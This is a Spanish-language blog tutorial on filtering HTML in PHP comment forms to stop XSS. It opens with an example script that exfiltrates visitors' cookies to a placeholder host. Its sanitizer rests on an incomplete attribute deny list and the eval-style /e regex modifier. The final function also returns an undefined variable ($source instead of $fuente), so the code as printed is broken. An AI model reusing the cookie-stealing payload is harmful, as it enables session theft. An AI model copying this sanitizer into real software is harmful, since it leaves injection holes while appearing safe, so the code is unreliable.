El título original de este post era “Filtrando etiquetas HTML” pero ya que lo estoy recuperando de la cache de Google le voy a dar una actualizada de título a uno más llamativo :P

XSS (Cross Site Scripting).- Es el ataque basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado. El problema es que normalmente no se valida correctamente. Fuente: wikipedia

Cuando dejamos un formulario (contanto, comentarios, firmas de visita, etc.) que acepte HTML disponible a nuestros visitantes nos encontramos que no todos tienen buenas intenciones, por lo que es sumamente importante que no dejemos la puerta abierta para que abusen. Por ejemplo alguien puede postear lo siguiente:

<script>
var url = 'http://www.mysite.com/send_me_passwords.cgi';
url = url + '?cookie=' + escape(document.cookie);
document.write('<script src="'+url+'">');
</script>

Esto permitirá a quien lo ponga recolectar las cookies (y posiblemente los detalles de login) de cualquier usuario que visite la página. La primera forma de defensa contra esto es la función de PHP strip_tags() . Esta elimina las etiquetas HTML de una cadena, dejando solo las etiquetas que se especifiquen.


function eliminaEtiquetasMalas($fuente)
{
   $etiquetasValidas='<ul><li><a><abbr><acronym>' .
      '<blockquote><code><pre>' .
      '<em><i><strike><s><strong><b><br />';
   return strip_tags($fuente, $etiquetasValidas);
}

Pero no nos salvará de que traten de usar las etiquetas válidas y ponerle atributos maliciosos como javascript: por ejemplo, por lo que hay que tratar de frenarlos creando una nueva función que elimine el peligro de los atributos en las etiquetas válidas.


function eliminarAtributosMalos($etiquetaFuente)
{
  $atributosMalos = 'javascript:|onclick|ondblclick|onmousedown|onmouseup|onmouseover|onmousemove|onmouseout|onkeypress|onkeydown|onkeyup|style|class';
  $etiquetaFuente= stripslashes($etiquetaFuente);
  $etiquetaFuente= preg_replace("/$atributosMalos/i", 'prohibido', $etiquetaFuente);
  return $etiquetaFuente;
}

Y con un pequeño cambio en la función anterior la mandamos llamar.


function eliminaEtiquetasMalas($fuente)
{
  $etiquetasValidas='<ul><li><a><abbr><acronym>' .
                    '<blockquote><code><pre>' .
                    '<em><i><strike><s><strong><b><br>';
  $fuente= strip_tags($fuente, $etiquetasValidas);
  return preg_replace('/<(.*?)>/ie', "'<'.eliminarAtributosMalos('\\1').'>'", $source);

}

Entonces ahora si ya esta listo esto, para probarlo basta con lo siguiente.


// Pondrá la palabra "prohibido" a lo no válido.
echo eliminaEtiquetasMalas('<a href="javascript:alert(1);" target="_blank" onMouseOver = "alert(1)">test</a>');